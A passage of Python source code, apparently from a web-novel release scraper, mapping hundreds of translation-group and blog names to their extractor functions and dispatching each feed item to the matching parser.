				'Novelisation'                                                  : pfuncs_h_n.extractNovelisation,
				'Novel Saga'                                                    : pfuncs_h_n.extractNovelSaga,
				'Novels Ground'                                                 : pfuncs_h_n.extractNovelsGround,
				'Novels Japan'                                                  : pfuncs_h_n.extractNovelsJapan,
				'Novels Nao'                                                    : pfuncs_h_n.extractNovelsNao,
				'Novel Trans'                                                   : pfuncs_h_n.extractNovelTrans,
				'NoviceTranslator'                                              : pfuncs_h_n.extractNoviceTranslator,
				'Nowhere & Nothing'                                             : pfuncs_h_n.extractNowhereNothing,
				'NTRHolic'                                                      : pfuncs_h_n.extractNTRHolic,
				'Nutty is Procrastinating'                                      : pfuncs_h_n.extractNutty,
				'Ohanashimi'                                                    : pfuncs_o_u.extractOhanashimi,
				'OK Translation'                                                : pfuncs_o_u.extractOKTranslation,
				'Omega Harem'                                                   : pfuncs_o_u.extractOmegaHarem,
				'Omgitsaray Translations'                                       : pfuncs_o_u.extractOmgitsaray,
				'One Man Army Translations (OMA)'                               : pfuncs_o_u.extractOneManArmy,
				'One Man Army Translations'                                     : pfuncs_o_u.extractOneManArmy,
				'One Second Spring'                                             : pfuncs_o_u.extractOneSecondSpring,
				'お兄ちゃん、やめてぇ！'                                               : pfuncs_o_u.extractOniichanyamete,
				'Opinisaya.com'                                                 : pfuncs_o_u.extractOpinisaya,
				'Ore ga Heroine in English'                                     : pfuncs_o_u.extractOregaHeroineinEnglish,
				'Origin Novels'                                                 : pfuncs_o_u.extractOriginNovels,
				'Otome Revolution'                                              : pfuncs_o_u.extractOtomeRevolution,
				'Otterspace Translation'                                        : pfuncs_o_u.extractOtterspaceTranslation,
				'otterspacetranslation'                                         : pfuncs_o_u.extractOtterspaceTranslation,
				'Outspan Foster'                                                : pfuncs_o_u.extractOutspanFoster,
				'Oyasumi Reads'                                                 : pfuncs_o_u.extractOyasumiReads,
				'Pact Web Serial'                                               : pfuncs_o_u.extractPactWebSerial,
				'pandafuqtranslations'                                          : pfuncs_o_u.extractPandafuqTranslations,
				"Pandora's Book"                                                : pfuncs_o_u.extractPandorasBook,
				'Patriarch Reliance'                                            : pfuncs_o_u.extractPatriarchReliance,
				'Paztok'                                                        : pfuncs_o_u.extractPaztok,
				'Pea\'s Kingdom'                                                : pfuncs_o_u.extractPeasKingdom,
				'Pea Translation'                                               : pfuncs_o_u.extractPeaTranslation,
				'Pekabo Blog'                                                   : pfuncs_o_u.extractPekaboBlog,
				'Penguin Overlord Translations'                                 : pfuncs_o_u.extractPenguinOverlordTranslations,
				'Pettanko Translations'                                         : pfuncs_o_u.extractPettankoTranslations,
				'Pielord Translations'                                          : pfuncs_o_u.extractPielordTranslations,
				'PiggyBottle Translations'                                      : pfuncs_o_u.extractPiggyBottleTranslations,
				'Pika Translations'                                             : pfuncs_o_u.extractPikaTranslations,
				'Pippi Site'                                                    : pfuncs_o_u.extractPippiSite,
				'A Place Of Legends'                                            : pfuncs_o_u.extractPlaceOfLegends,
				'PlainlyBored'                                                  : pfuncs_o_u.extractPlainlyBored,
				'Polyphonic Story Translation Group'                            : pfuncs_o_u.extractPolyphonicStoryTranslationGroup,
				'Popsiclete'                                                    : pfuncs_o_u.extractPopsiclete,
				'Premium Red Tea'                                               : pfuncs_o_u.extractPremiumRedTea,
				'Priddles Translations'                                         : pfuncs_o_u.extractPriddlesTranslations,
				'www.pridesfamiliarsmaidens.com'                                : pfuncs_o_u.extractPridesFamiliarsMaidens,
				'Pride X ReVamp'                                                : pfuncs_o_u.extractPrideXReVamp,
				'Prince Revolution!'                                            : pfuncs_o_u.extractPrinceRevolution,
				'ProcrasTranslation'                                            : pfuncs_o_u.extractProcrasTranslation,
				'Project Accelerator'                                           : pfuncs_o_u.extractProjectAccelerator,
				'Psicern.Translations'                                          : pfuncs_o_u.extractPsicernTranslations,
				'Pumpkin Translations'                                          : pfuncs_o_u.extractPumpkinTranslations,
				'putttytranslations'                                            : pfuncs_o_u.extractPuttty,
				'Qualidea of Scum and a Gold Coin'                              : pfuncs_o_u.extractQualideaofScumandaGoldCoin,
				'QualiTeaTranslations'                                          : pfuncs_o_u.extractQualiTeaTranslations,
				'Quality ★ Mistranslations'                                     : pfuncs_o_u.extractQualityMistranslations,
				'Radiant Translations'                                          : pfuncs_o_u.extractRadiantTranslations,
				'Rainbow Translations'                                          : pfuncs_o_u.extractRainbowTranslations,
				'Raising Angels & Defection'                                    : pfuncs_o_u.extractRaisingAngelsDefection,
				'Raising the Dead'                                              : pfuncs_o_u.extractRaisingTheDead,
				'RANCER'                                                        : pfuncs_o_u.extractRancer,
				'Rancer'                                                        : pfuncs_o_u.extractRancer,
				'Read Me Translations'                                          : pfuncs_o_u.extractReadMeTranslations,
				'Realm of Chaos'                                                : pfuncs_o_u.extractRealmOfChaos,
				'ℝeanとann@'                                                     : pfuncs_o_u.extractReantoAnna,
				'Rebirth Online World'                                          : pfuncs_o_u.extractRebirthOnlineWorld,
				'Rebirth Online'                                                : pfuncs_o_u.extractRebirthOnlineWorld,
				'Red Dragon Translations'                                       : pfuncs_o_u.extractRedDragonTranslations,
				'Reddy Creations'                                               : pfuncs_o_u.extractReddyCreations,
				'Red Lantern Archives'                                          : pfuncs_o_u.extractRedLanternArchives,
				'Rei TransBlog'                                                 : pfuncs_o_u.extractReiTransBlog,
				'Reject Hero'                                                   : pfuncs_o_u.extractRejectHero,
				'Rhinabolla'                                                    : pfuncs_o_u.extractRhinabolla,
				'RidwanTrans'                                                   : pfuncs_o_u.extractRidwanTrans,
				'RinOtakuBlog'                                                  : pfuncs_o_u.extractRinOtakuBlog,
				'Rip translations'                                              : pfuncs_o_u.extractRiptranslations,
				'Rising Dragons Translation'                                    : pfuncs_o_u.extractRisingDragons,
				'Roasted Tea'                                                   : pfuncs_o_u.extractRoastedTea,
				'Romantic Dreamer\'s Sanctuary'                                 : pfuncs_o_u.extractRomanticDreamersSanctuary,
				'Root of Evil'                                                  : pfuncs_o_u.extractRootOfEvil,
				'Rosyfantasy - Always Dreaming'                                 : pfuncs_o_u.extractRosyFantasy,
				'Rosy Fantasy'                                                  : pfuncs_o_u.extractRosyFantasy,
				'Roxism HQ'                                                     : pfuncs_o_u.extractRoxism,
				"Rui's Translations"                                            : pfuncs_o_u.extractRuisTranslations,
				'Rumanshi\'s Lair'                                              : pfuncs_o_u.extractRumanshisLair,
				'Rumor\'s Block'                                                : pfuncs_o_u.extractRumorsBlock,
				'Ruze Translations'                                             : pfuncs_o_u.extractRuzeTranslations,
				'Saber Translations'                                            : pfuncs_o_u.extractSaberTranslations,
				'Saiaku Translations Blog'                                      : pfuncs_o_u.extractSaiakuTranslationsBlog,
				'桜翻訳! | Light novel translations'                             : pfuncs_o_u.extractSakurahonyaku,
				'Sandwich Kingdom'                                              : pfuncs_o_u.extractSandwichKingdom,
				'Sauri\'s TL Blog'                                              : pfuncs_o_u.extractSaurisTLBlog,
				'Scrya Translations'                                            : pfuncs_o_u.extractScryaTranslations,
				'SenjiQ creations'                                              : pfuncs_o_u.extractSenjiQcreations,
				'SETSUNA86BLOG'                                                 : pfuncs_o_u.extractSETSUNA86BLOG,
				'Shell2ly C-Novel Site'                                         : pfuncs_o_u.extractShell2lyCNovelSite,
				'Sherma Translations'                                           : pfuncs_o_u.extractShermaTranslations,
				'Shikkaku Translations'                                         : pfuncs_o_u.extractShikkakuTranslations,
				'Shin Sekai Yori – From the New World'                          : pfuncs_o_u.extractShinSekaiYori,
				'Shinsori Translations'                                         : pfuncs_o_u.extractShinsori,
				'Shin Translations'                                             : pfuncs_o_u.extractShinTranslations,
				'Shiroyukineko Translations'                                    : pfuncs_o_u.extractShiroyukineko,
				'Shokyuu Translations'                                          : pfuncs_o_u.extractShokyuuTranslations,
				'Silent Tl'                                                     : pfuncs_o_u.extractSilentTl,
				'Silva\'s Library'                                              : pfuncs_o_u.extractSilvasLibrary,
				'Silver Butterfly'                                              : pfuncs_o_u.extractSilverButterfly,
				'Sins of the Fathers'                                           : pfuncs_o_u.extractSinsOfTheFathers,
				'Skull Squadron'                                                : pfuncs_o_u.extractSkullSquadron,
				'Skythewood translations'                                       : pfuncs_o_u.extractSkythewood,
				'Sleepy Translations'                                           : pfuncs_o_u.extractSleepyTranslations,
				'Slime Lv1'                                                     : pfuncs_o_u.extractSlimeLv1,
				'-Sloth-'                                                       : pfuncs_o_u.extractSloth,
				'Sloth Translations Blog'                                       : pfuncs_o_u.extractSlothTranslationsBlog,
				'Snow & Dust'                                                   : pfuncs_o_u.extractSnowDust,
				'Snow Translations'                                             : pfuncs_o_u.extractSnowTranslations,
				'Snowy Publications'                                            : pfuncs_o_u.extractSnowyPublications,
				'Soaring Translations'                                          : pfuncs_o_u.extractSoaring,
				'Solitary Translation'                                          : pfuncs_o_u.extractSolitaryTranslation,
				'Solstar24'                                                     : pfuncs_o_u.extractSolstar24,
				'www.soltarination.org'                                         : pfuncs_o_u.extractSoltarination,
				'Soltarination Scanlations'                                     : pfuncs_o_u.extractSoltarinationScanlations,
				'Soojiki\'s Project'                                            : pfuncs_o_u.extractSoojikisProject,
				'Sora Translations'                                             : pfuncs_o_u.extractSoraTranslations,
				'Sora Translationsblog'                                         : pfuncs_o_u.extractSoraTranslations,
				'Supreme Origin Translations'                                   : pfuncs_o_u.extractSotranslations,
				'Sousetsuka'                                                    : pfuncs_o_u.extractSousetsuka,
				'Spirit God Shura'                                              : pfuncs_o_u.extractSpiritGodShura,
				'Spiritual Transcription'                                       : pfuncs_o_u.extractSpiritualTranscription,
				'Spring Scents'                                                 : pfuncs_o_u.extractSpringScents,
				'Starrydawn Translations'                                       : pfuncs_o_u.extractStarrydawnTranslations,
				'Stellar Transformation Con.'                                   : pfuncs_o_u.extractStellarTransformationCon,
				'STL Translations'                                              : pfuncs_o_u.extractSTLTranslations,
				'Stone Burners'                                                 : pfuncs_o_u.extractStoneBurners,
				'Subudai11'                                                     : pfuncs_o_u.extractSubudai11,
				'Sun Shower Fields'                                             : pfuncs_o_u.extractSunShowerFields,
				'Super Potato Translations'                                     : pfuncs_o_u.extractSuperPotatoTranslations,
				'Suteki Da Ne'                                                  : pfuncs_o_u.extractSutekiDaNe,
				'Sweet A Collections'                                           : pfuncs_o_u.extractSweetACollections,
				'Sword and Game'                                                : pfuncs_o_u.extractSwordAndGame,
				'Sylver Translations'                                           : pfuncs_o_u.extractSylver,
				'Symbiote'                                                      : pfuncs_o_u.extractSymbiote,
				'~Taffy Translations~'                                          : pfuncs_o_u.extractTaffyTranslations,
				'Taida-dono Translations'                                       : pfuncs_o_u.extractTaidadonoTranslations,
				'Taint'                                                         : pfuncs_o_u.extractTaint,
				'Tales of MU'                                                   : pfuncs_o_u.extractTalesOfMU,
				'The Tales of Paul Twister'                                     : pfuncs_o_u.extractTalesOfPaulTwister,
				'Tales of The Forgottenslayer'                                  : pfuncs_o_u.extractTalesofTheForgottenslayer,
				'tap-trans » tappity tappity tap.'                              : pfuncs_o_u.extractTaptrans,
				'Tarable Translations'                                          : pfuncs_o_u.extractTarableTranslations,
				'Tatakau Shisho Light Novel Translation'                        : pfuncs_o_u.extractTatakauShishoLightNovelTranslation,
				'Tensai Translations'                                           : pfuncs_o_u.extractTensaiTranslations,
				'Tentatively under construction'                                : pfuncs_o_u.extractTentativelyUnderconstruction,
				'Ten Thousand Heaven Controlling Sword'                         : pfuncs_o_u.extractTenThousandHeavenControllingSword,
				'Terminus Translation'                                          : pfuncs_o_u.extractTerminusTranslation,
				'ThatGuyOverThere'                                              : pfuncs_o_u.extractThatGuyOverThere,
				'The Asian Cult'                                                : pfuncs_o_u.extractTheAsianCult,
				'The Beginning After The End Novel'                             : pfuncs_o_u.extractTheBeginningAfterTheEnd,
				'TheDefend Translations'                                        : pfuncs_o_u.extractTheDefendTranslations,
				'The Iron Teeth'                                                : pfuncs_o_u.extractTheIronTeeth,
				'The Last Skull'                                                : pfuncs_o_u.extractTheLastSkull,
				'TheLazy9'                                                      : pfuncs_o_u.extractTheLazy9,
				'The Mustang Translator'                                        : pfuncs_o_u.extractTheMustangTranslator,
				'The Named'                                                     : pfuncs_o_u.extractTheNamed,
				'The Sphere'                                                    : pfuncs_o_u.extractTheSphere,
				'The Undying Cultivator'                                        : pfuncs_o_u.extractTheUndyingCultivator,
				'This World Work'                                               : pfuncs_o_u.extractThisWorldWork,
				'Thunder Translation'                                           : pfuncs_o_u.extractThunder,
				'Thyaeria Translations'                                         : pfuncs_o_u.extractThyaeria,
				'Tieshaunn'                                                     : pfuncs_o_u.extractTieshaunn,
				'Tinkerbell-san'                                                : pfuncs_o_u.extractTinkerbellsan,
				'TL Syosetsu'                                                   : pfuncs_o_u.extractTLSyosetsu,
				'Tofubyu'                                                       : pfuncs_o_u.extractTofubyu,
				'Tomorolls'                                                     : pfuncs_o_u.extractTomorolls,
				'Tony Yon Ka'                                                   : pfuncs_o_u.extractTonyYonKa,
				'Totally Insane Tranlation'                                     : pfuncs_o_u.extractTotallyInsaneTranslation,
				'Totally Insane Translation'                                    : pfuncs_o_u.extractTotallyInsaneTranslation,
				'Totokk\'s Translations'                                        : pfuncs_o_u.extractTotokk,
				'Towards the Sky~'                                              : pfuncs_o_u.extractTowardsTheSky,
				'Translating For Your Pleasure'                                 : pfuncs_o_u.extractTranslatingForYourPleasure,
				'Translating Ze Tian Ji'                                        : pfuncs_o_u.extractTranslatingZeTianJi,
				'Translation Nations'                                           : pfuncs_o_u.extractTranslationNations,
				'Translation Raven'                                             : pfuncs_o_u.extractTranslationRaven,
				'Translations From Outer Space'                                 : pfuncs_o_u.extractTranslationsFromOuterSpace,
				'Translation Treasure Box'                                      : pfuncs_o_u.extractTranslationTreasureBox,
				'Trinity Archive'                                               : pfuncs_o_u.extractTrinityArchive,
				'Tripp Translations'                                            : pfuncs_o_u.extractTrippTl,
				'Trung Nguyen'                                                  : pfuncs_o_u.extractTrungNguyen,
				'Trungt Nguyen 123'                                             : pfuncs_o_u.extractTrungtNguyen,
				'Try Translations'                                              : pfuncs_o_u.extractTryTranslations,
				'Tseirp Translations'                                           : pfuncs_o_u.extractTseirpTranslations,
				'Tsuigeki Translations'                                         : pfuncs_o_u.extractTsuigeki,
				'Tsukigomori'                                                   : pfuncs_o_u.extractTsukigomori,
				'Tumble Into Fantasy'                                           : pfuncs_o_u.extractTumbleIntoFantasy,
				'Turb0 Translation'                                             : pfuncs_o_u.extractTurb0,
				'Turtle and Hare Translations'                                  : pfuncs_o_u.extractTurtleandHareTranslations,
				'中翻英圖書館 Translations'                                       : pfuncs_o_u.extractTuShuGuan,
				'Tus-Trans'                                                     : pfuncs_o_u.extractTusTrans,
				'Twelve Months of May'                                          : pfuncs_o_u.extractTwelveMonthsofMay,
				'Twig'                                                          : pfuncs_o_u.extractTwig,
				'Twisted Cogs'                                                  : pfuncs_o_u.extractTwistedCogs,
				'Tyrant\'s Eye Translations'                                    : pfuncs_o_u.extractTyrantsEyeTranslations,
				'「\u3000」'                                                      : pfuncs_o_u.extractU3000,
				'U Donate We Translate'                                         : pfuncs_o_u.extractUDonateWeTranslate,
				'Ukel2x'                                                        : pfuncs_o_u.extractUkel2x,
				'Ultimate Arcane'                                               : pfuncs_o_u.extractUltimateArcane,
				'Unchained Translation'                                         : pfuncs_o_u.extractUnchainedTranslation,
				'Undecent Translations'                                         : pfuncs_o_u.extractUndecentTranslations,
				'Universes With Meaning'                                        : pfuncs_o_u.extractUniversesWithMeaning,
				'Unlimited Novel Failures'                                      : pfuncs_o_u.extractUnlimitedNovelFailures,
				'Unlimited Story Works'                                         : pfuncs_o_u.extractUnlimitedStoryWorks,
				'unnamedtranslations.blogspot.com'                              : pfuncs_o_u.extractUnnamedtranslations,
				'Untuned Translation Blog'                                      : pfuncs_o_u.extractUntunedTranslation,
				'Useless no 4'                                                  : pfuncs_o_u.extractUselessno4,
				'v7 Silent'                                                     : pfuncs_v_other.extractV7Silent,
				'Verathragana Stories'                                          : pfuncs_v_other.extractVerathragana,
				'Village Translations'                                          : pfuncs_v_other.extractVillageTranslations,
				'Void Translations'                                             : pfuncs_v_other.extractVoidTranslations,
				'Volare Translations'                                           : pfuncs_v_other.extractVolareTranslations,
				'Walking the Storm'                                             : pfuncs_v_other.extractWalkingTheStorm,
				'Walk the Jiang Hu'                                             : pfuncs_v_other.extractWalkTheJiangHu,
				'Wat Da Meow'                                                   : pfuncs_v_other.extractWatDaMeow,
				'Watermelon Helmets'                                            : pfuncs_v_other.extractWatermelonHelmets,
				'World of Watermelons'                                          : pfuncs_v_other.extractWatermelons,
				'WCC Translation'                                               : pfuncs_v_other.extractWCCTranslation,
				'Weaving stories and building castles in the clouds'            : pfuncs_v_other.extractWeavingstoriesandbuildingcastlesintheclouds,
				'Web Novel Japanese Translation'                                : pfuncs_v_other.extractWebNovelJapaneseTranslation,
				'Welcome To The Underdark'                                      : pfuncs_v_other.extractWelcomeToTheUnderdark,
				'Wele Translation'                                              : pfuncs_v_other.extractWeleTranslation,
				'When The Hunting Party Came'                                   : pfuncs_v_other.extractWhenTheHuntingPartyCame,
				'Whimsical Land'                                                : pfuncs_v_other.extractWhimsicalLand,
				'White Night Site'                                              : pfuncs_v_other.extractWhiteNightSite,
				'White Tiger Translations'                                      : pfuncs_v_other.extractWhiteTigerTranslations,
				'Willful Casual'                                                : pfuncs_v_other.extractWillfulCasual,
				'Witch Life Novel'                                              : pfuncs_v_other.extractWitchLife,
				"WizThief's Novels"                                             : pfuncs_v_other.extractWizThiefsNovels,
				'WL Translations'                                               : pfuncs_v_other.extractWLTranslations,
				'Wolfie Translation'                                            : pfuncs_v_other.extractWolfieTranslation,
				'Word of Craft'                                                 : pfuncs_v_other.extractWordofCraft,
				'World of Summie'                                               : pfuncs_v_other.extractWorldofSummie,
				'Worm - A Complete Web Serial'                                  : pfuncs_v_other.extractWormACompleteWebSerial,
				'Wuxia Heroes'                                                  : pfuncs_v_other.extractWuxiaHeroes,
				'WuxiaSociety'                                                  : pfuncs_v_other.extractWuxiaSociety,
				'Wuxia Translations'                                            : pfuncs_v_other.extractWuxiaTranslations,
				'Wuxia Translators'                                             : pfuncs_v_other.extractWuxiaTranslators,
				'Wuxiaworld'                                                    : pfuncs_v_other.extractWuxiaworld,
				'Wuxiwish'                                                      : pfuncs_v_other.extractWuxiwish,
				'Xant & Minions'                                                : pfuncs_v_other.extractXantAndMinions,
				'xantbos.wordpress.com'                                         : pfuncs_v_other.extractXantbos,
				'Xant Does Stuff and Things'                                    : pfuncs_v_other.extractXantDoesStuffAndThings,
				'XCrossJ'                                                       : pfuncs_v_other.extractXCrossJ,
				"Xiaowen206's Blog"                                             : pfuncs_v_other.extractXiaowen206sBlog,
				'Yi Yue Translation'                                            : pfuncs_v_other.extractYiYueTranslation,
				'Yoraikun Translation'                                          : pfuncs_v_other.extractYoraikun,
				'Youjinsite Translations'                                       : pfuncs_v_other.extractYoujinsite,
				'Youko Advent'                                                  : pfuncs_v_other.extractYoukoAdvent,
				'Youshoku Translations'                                         : pfuncs_v_other.extractYoushoku,
				'youtsubasilver\'s Blog'                                        : pfuncs_v_other.extractYoutsubasilversBlog,
				'Yukkuri Free Time Literature Service'                          : pfuncs_v_other.extractYukkuri,
				'Zen Translations'                                              : pfuncs_v_other.extractZenTranslations,
				'Zeonic'                                                        : pfuncs_v_other.extractZeonic,
				'Ziru\'s Musings | Translations~'                               : pfuncs_v_other.extractZiruTranslations,
				'The Zombie Knight'                                             : pfuncs_v_other.extractZombieKnight,
				'ZSW'                                                           : pfuncs_v_other.extractZSW,
				"Zxzxzx's blog"                                                 : pfuncs_v_other.extractZxzxzxsBlog,
				'一期一会, 万歳!'                                                 : pfuncs_v_other.extract一期一会万歳,
				'天才創造すなわち百合'                                               : pfuncs_v_other.extract天才創造すなわち百合,
				'睡眠中毒'                                                        : pfuncs_v_other.extract睡眠中毒,
				'輝く世界'                                                        : pfuncs_v_other.extract輝く世界,
				'12 Superlatives'                                               : pfuncs_v_other.extract12Superlatives,
				'1HP'                                                           : pfuncs_v_other.extract1HP,
				'77 Novel'                                                      : pfuncs_v_other.extract77Novel,
				'7 Days Trial'                                                  : pfuncs_v_other.extract7DaysTrial,
				'87 Percent Translation'                                        : pfuncs_v_other.extract87Percent,



				# Recently added.

				'Alternative Projects'                              : pfuncs_a_g.extractAlternativeProjects,
				'Apollo Translations'                               : pfuncs_a_g.extractApolloTranslations,
				'Elemental Cobalt'                                  : pfuncs_a_g.extractElementalCobalt,
				'Hiohbye Translations'                              : pfuncs_h_n.extractHiohbyeTranslations,
				'levitytales.com'                                   : pfuncs_h_n.extractLevityTales,
				'Levity Tales'                                      : pfuncs_h_n.extractLevityTales,
				'Light Novel Cafe'                                  : pfuncs_h_n.extractLightNovelCafe,
				'Myoniyoni Translations'                            : pfuncs_h_n.extractMyoniyoniTranslations,
				'No Name Translations'                              : pfuncs_h_n.extractNoNameTranslations,
				'Noob Mtl'                                          : pfuncs_h_n.extractNoobMtl,
				'Novels&Chill'                                      : pfuncs_h_n.extractNovelsChill,
				'Path of Translation'                               : pfuncs_o_u.extractPathOfTranslation,
				'Reincarnation Translations'                        : pfuncs_o_u.extractReincarnationTranslations,
				'Sakurane'                                          : pfuncs_o_u.extractSakurane,
				'Soul Permutation'                                  : pfuncs_o_u.extractSoulPermutation,
				'Torii Translations'                                : pfuncs_o_u.extractToriiTranslations,
				'Wums Translations'                                 : pfuncs_v_other.extractWumsTranslations,
				'Xianxia Tales'                                     : pfuncs_v_other.extractXianxiaTales,
				'Yami Translations'                                 : pfuncs_v_other.extractYamiTranslations,
				'Zero Translations'                                 : pfuncs_v_other.extractZeroTranslations,

				'Ananas Parfait'                                    : pfuncs_a_g.extractAnanasParfait,
				'Anime, manga, translations'                        : pfuncs_a_g.extractAnimeMangaTranslations,
				'Ankou Translations'                                : pfuncs_a_g.extractAnkouTranslations,
				'Antheor'                                           : pfuncs_a_g.extractAntheor,
				'Bo~'                                               : pfuncs_a_g.extractBo,
				'Chaos Words'                                       : pfuncs_a_g.extractChaosWords,
				'China Light Novel'                                 : pfuncs_a_g.extractChinaLightNovel,
				'Chinese Novel Translated'                          : pfuncs_a_g.extractChineseNovelTranslated,
				'ChocolateCosmos Translations'                      : pfuncs_a_g.extractChocolateCosmosTranslations,
				'Datebayo Blog'                                     : pfuncs_a_g.extractDatebayoBlog,
				'Daupao'                                            : pfuncs_a_g.extractDaupao,
				'Deep Azure Sky'                                    : pfuncs_a_g.extractDeepAzureSky,
				'Demon Scorpion Translations'                       : pfuncs_a_g.extractDemonScorpionTranslations,
				'Dwrf TL'                                           : pfuncs_a_g.extractDwrfTL,
				'ExMachina.Asia'                                    : pfuncs_a_g.extractExMachinaAsia,
				'Fake Fruits Translations'                          : pfuncs_a_g.extractFakeFruitsTranslations,
				'fantasy-books.live'                                : pfuncs_a_g.extractFantasyBooksLive,
				'For Kalimdor!'                                     : pfuncs_a_g.extractForKalimdor,
				'Forthemoney Translations'                          : pfuncs_a_g.extractForthemoneyTranslations,
				'Girly Novels'                                      : pfuncs_a_g.extractGirlyNovels,
				'Heavens Justice Translation'                       : pfuncs_h_n.extractHeavensJusticeTranslation,
				'I Ballistic Bunnies'                               : pfuncs_h_n.extractIBallisticBunnies,
				'Idyllic Translations'                              : pfuncs_h_n.extractIdyllicTranslations,
				'Incarneous'                                        : pfuncs_h_n.extractIncarneous,
				'Jen Press Translation'                             : pfuncs_h_n.extractJenPressTranslation,
				'JeruTz\'s Blog'                                    : pfuncs_h_n.extractJeruTzsBlog,
				'JuJu Translation'                                  : pfuncs_h_n.extractJuJuTranslation,
				'Kaguro Jp'                                         : pfuncs_h_n.extractKaguroJp,
				'Kai\'s Translations'                               : pfuncs_h_n.extractKaisTranslations,
				'Kencephalon Translations'                          : pfuncs_h_n.extractKencephalonTranslations,
				'Kirihara Maya'                                     : pfuncs_h_n.extractKiriharaMaya,
				'Knight Fantastic Night Translations'               : pfuncs_h_n.extractKnightFantasticNightTranslations,
				'Kudarajin'                                         : pfuncs_h_n.extractKudarajin,
				'L3D'                                               : pfuncs_h_n.extractL3D,
				'Laki\'s Laboratory'                                : pfuncs_h_n.extractLakisLaboratory,
				'Land of Light Novels'                              : pfuncs_h_n.extractLandofLightNovels,
				'Leecher Vamparis Translations'                     : pfuncs_h_n.extractLeecherVamparisTranslations,
				'Legend of the Evil God'                            : pfuncs_h_n.extractLegendoftheEvilGod,
				'Legions Realm'                                     : pfuncs_h_n.extractLegionsRealm,
				'Light Novels World'                                : pfuncs_h_n.extractLightNovelsWorld,
				'Loathsome Translations'                            : pfuncs_h_n.extractLoathsomeTranslations,
				'Luminstia'                                         : pfuncs_h_n.extractLuminstia,
				'Mage Life'                                         : pfuncs_h_n.extractMageLife,
				'Magictrans'                                        : pfuncs_h_n.extractMagictrans,
				'Martial Dao'                                       : pfuncs_h_n.extractMartialDao,
				'Misty Cloud Translations'                          : pfuncs_h_n.extractMistyCloudTranslations,
				'Mountain of Pigeons Translations'                  : pfuncs_h_n.extractMountainofPigeonsTranslations,
				'MT Novels'                                         : pfuncs_h_n.extractMTNovels,
				'MyEngTranslation'                                  : pfuncs_h_n.extractMyEngTranslation,
				'Nadenadeshitai'                                    : pfuncs_h_n.extractNadenadeshitai,
				'Nex Serus'                                         : pfuncs_h_n.extractNexSerus,
				'Pengu Taichou'                                     : pfuncs_o_u.extractPenguTaichou,
				'Polar Bear Catcher'                                : pfuncs_o_u.extractPolarBearCatcher,
				'Poor Quality Translations'                         : pfuncs_o_u.extractPoorQualityTranslations,
				'Pumlated'                                          : pfuncs_o_u.extractPumlated,
				'Rainbow Turtle Translations'                       : pfuncs_o_u.extractRainbowTurtleTranslations,
				'Ries Translations'                                 : pfuncs_o_u.extractRiesTranslations,
				'Rinvelt House'                                     : pfuncs_o_u.extractRinveltHouse,
				'Rogue Apple'                                       : pfuncs_o_u.extractRogueApple,
				'Rotten Translations'                               : pfuncs_o_u.extractRottenTranslations,
				'Sabishi desu!!'                                    : pfuncs_o_u.extractSabishiDesu,
				'sabishidesu.tk'                                    : pfuncs_o_u.extractSabishiDesu,
				'Sekai no Kuroba'                                   : pfuncs_o_u.extractSekainoKuroba,
				'Shalvation Translations'                           : pfuncs_o_u.extractShalvationTranslations,
				'Shameless Onii-san'                                : pfuncs_o_u.extractShamelessOniisan,
				'Shine Translation'                                 : pfuncs_o_u.extractShineTranslation,
				'Shouldnt be here blog'                             : pfuncs_o_u.extractShouldntbehereblog,
				'Shova Translations'                                : pfuncs_o_u.extractShovaTranslations,
				'Silkpants Entente'                                 : pfuncs_o_u.extractSilkpantsEntente,
				'SnowTime Translations'                             : pfuncs_o_u.extractSnowTimeTranslations,
				'Steady Translation'                                : pfuncs_o_u.extractSteadyTranslation,
				'SunnyTranslations'                                 : pfuncs_o_u.extractSunnyTranslations,
				'T&Q'                                               : pfuncs_o_u.extractTandQ,
				'Tequila Mockingbard'                               : pfuncs_o_u.extractTequilaMockingbard,
				'The Boy Who Couldn\'t Be A Hero'                   : pfuncs_o_u.extractTheBoyWhoCouldntBeAHero,
				'thepaperfictions.wordpress.com'                    : pfuncs_o_u.extractThePaperFictions,
				'Tokyo ESP Scans'                                   : pfuncs_o_u.extractTokyoESPScans,
				'Unique Books'                                      : pfuncs_o_u.extractUniqueBooks,
				'Warrior Writing'                                   : pfuncs_v_other.extractWarriorWriting,
				'Wiggly Translation'                                : pfuncs_v_other.extractWigglyTranslation,
				'World of Hope'                                     : pfuncs_v_other.extractWorldofHope,
				'World Turtle Translations'                         : pfuncs_v_other.extractWorldTurtleTranslations,
				'Yasashi Honyaku'                                   : pfuncs_v_other.extractYasashiHonyaku,
				'Yeagdrasil'                                        : pfuncs_v_other.extractYeagdrasil,
				'Your Majesty Please Calm Down'                     : pfuncs_v_other.extractYourMajestyPleaseCalmDown,
				'『書櫃』'                                            : pfuncs_v_other.extract書櫃,
				'閒人 • O N L I N E'                                : pfuncs_v_other.extract閒人ONLINE,










				# Broken
				'Require: Cookie'                                               : pfuncs_stub.extractNop,


				'Blue Phoenix'                                                  : pfuncs_a_g.extractBluePhoenix,
				'Demon Translations'                                            : pfuncs_a_g.extractDemonTranslations,
				'Fantasy novels'                                                : pfuncs_a_g.extractFantasyNovels,
				'HalfElementMaster Translation'                                 : pfuncs_h_n.extractHalfElementMasterTranslation,
				'Love me if you dare'                                           : pfuncs_h_n.extractLoveMeIfYouDare,
				'Mineral Water Translation'                                     : pfuncs_h_n.extractMineralWaterTranslation,
				'Rinkage Translation'                                           : pfuncs_o_u.extractRinkageTranslation,
				'Selkin Novel'                                                  : pfuncs_o_u.extractSelkinNovel,
				'Startling Surprises at Every Step'                             : pfuncs_o_u.extractStartlingSurprisesAtEveryStep,
				'Wish Upon A Hope'                                              : pfuncs_v_other.extractWishUponAHope,


		}




		# ('Have Func', False), ('SourceName', 'sparklingdawnlights.blogspot.com'),

		# ('Have Func', False), ('SourceName', 'Zeonic'),
		# ('Have Func', False), ('SourceName', '「\u3000」'),
		# ('Have Func', False), ('SourceName', '天才創造すなわち百合'),

		# 'n00btranslations.wordpress.com'                                : pfuncs.extractN00btranslations.wordpress.com,
		# 'omatranslations.wordpress.com'                                 : pfuncs.extractOmatranslations.wordpress.com,
		# 'soaringtranslations.wordpress.com'                             : pfuncs.extractSoaringtranslations.wordpress.com,
		# 'solitarytranslation.wordpress.com'                             : pfuncs.extractSolitarytranslation.wordpress.com,
		# 'walkthejianghu.wordpress.com'                                  : pfuncs.extractWalkthejianghu.wordpress.com,


		if item['srcname'] in funcMap:
			ret = funcMap[item['srcname']](item)
		else:
			print("No filter found for '%s'?" % item['srcname'])

		# NanoDesu is annoying and makes their releases basically impossible to parse. FFFUUUUUu
		if "(NanoDesu)" in item['srcname'] and not ret:
			return False

		if ret is None:
			return False

